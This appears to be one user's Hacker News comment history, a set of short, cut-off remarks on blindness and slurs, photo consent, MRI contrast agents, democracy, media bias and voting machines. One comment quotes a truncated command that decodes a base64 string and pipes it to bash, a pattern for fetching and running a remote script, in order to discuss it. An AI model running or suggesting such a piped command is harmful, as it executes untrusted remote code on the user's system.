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by lynx97 1y ago
Nah, its only perceived as a slur by language police people with little stakes in the actual game. And, the slur thing is definitely not an US only phenomenon. In the german speaking area where I dwell, the youth use "spast" as
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by lynx97 1y ago
Well, it's not always nice to realize that your condition is casually used as a negative conotation in everyday language. OTOH, there are worse things in life, so I mostly blink and move on... There are other hills to die on.
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by lynx97 1y ago
Since you ask... I am find as long as blind is actually used. I dont particular care about the order of words. However, what I absolutely despise and truely hate is this "visually challenged" nonesense from the leftist language
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A bit of a tengent, but... For those worrying about their eyesight when getting older... If you are into FLOSS, one last defense against your eyes failing when you get older is actually to contribute to accessibility before you (hopefully n
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If I know one thing for sure, big tech will never have to answer for anything.
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Great. Only this year, I got roughly 6 doses of gadlinium, and prior to that, I got one every year, going back 20 years. I just recently chatted with a MRI nurse about the fact that I have a bad feeling about getting that stuff so frequen
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by lynx97 1y ago
The "you" in my writing was refering to any photographer who takes a picture of me without my consent. I should probably mave made that clearer. IOW, I am not suggesting that you in particular are making fun of me or anyone you
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People with photographic memory can't just upload their memories to the Internet. So that comparison is pretty much worthless.
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I find the comparison with deaf people re concerts is pretty inappropriate. If you take a picture of me without me knowing/my consent, you carry that picture "home" and maybe even upload it to some public site. Heck, you co
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I find the combination of "pictures of strangers" and "our right to take pictures" rather concerning. I have a different perspective, as I am blind. But I was always uncomfortable with having a picture taken of me by b
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In my experience, he is right.
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Maybe I misinterpreted your original comment, but I wholeheartedly agree with this on. I miss people seeing the nuances in politics. The only rebutal most people seem to have against shortcomings of democracy is "it is the best syste
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If you don't identify as an activist, I sincerely apologize for accidentally offending you. No sarcsam involved.
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This. Totally resonates with me, from personal experience. I had radiation therapy and 2 years of chemo starting from the age of 1.5 years. During that time, my mother left me alone for a MONTH in the hospital. I've been told the
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by lynx97 1y ago
No. Democracy is not about reducing cruelty, or any other vaguely activists points of views. It is about having people choose where they want to go. It might be that these choices unveil that humanity, statistically speaking, is actually
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As the CCC has stressed almost 20 years ago already, "public trust" demoands pure analog, no software at all, voting. Whenever someone comes back and tries to introduce some sort of voting machines, they are trying to fool you.
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by lynx97 1y ago
C'mon. This is not "deobfuscation", its just decoding a base64 blob. If this is already MAGIC, how is OP ever going to understand more complex things?
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by lynx97 1y ago
Wait... > echo -n Y3VybCAtc0w... | base64 -d | bash ... > executes a shell script from a remote server — as ChatGPT confirmed when I asked it to analyze it You needed ChatGPT for that? Decoding the base64 blob without huring yourself
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by lynx97 1y ago
Hey, another language with smileys! Like haskell, which has (x :) (partial application of a binary operator)
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We already have greenwashing. Stamping things will be pretty much useless.
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Ah, neat. Now it is the employees who are supposed to swim against the stream and jeopardize their jobs. I love naiv activism.
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by lynx97 1y ago
If that is the single criterium, I guess we need a new word: ape slob, maybe?
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by lynx97 1y ago
How did this get on the front page? Are there genuine users that feel this rambling is interesting or adds anything useful to what has already been said?
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For executables, it is actually necessary to prepend ./ iff . is not in $PATH. And . is usually not in $PATH for security reasons.
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by lynx97 1y ago
> This is a baseless conspiracy theory. Well, I beg to differ. Just reading HN, accusing people of fascism has become a lot more common-place then, say, 10 years ago. Offline, I have had a lot of chats with people that share my sentime
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by lynx97 1y ago
Thanks for your last paragraph. You apparently have a lot more inside infos then I ever will, and still, you confirm my observation. There is no unbiased reporting. However, I am not willing to compromise on this. If there is no way I c
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Ignoring the fact that I miss the blind trust you seem to have, that all we need is to donate some money and the outcome will magically be good... I honestly don't know any local investigative nonprofit that is not biased. There are t
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I don't believe self-reported stats are worth anything in this context. Many conservatives have learnt to keep a low profile, since in many circles, right wing association has become a synonym for evil. Besides, I am not a U.S citize
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It seems like you're suggesting I am not capable of putting things I overheard in context? Please don't. I am well aware of the difference between sarcasm and deliberate manipulation. To keep things grounded, almost nobody bites
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I once sat on a table nearby of the local investigative newsroom crew having a chat in a cafe. The vibe I got was so evil, I definitely wouldn't give them any of my money. In fact, I have given up on the concept of independent journa

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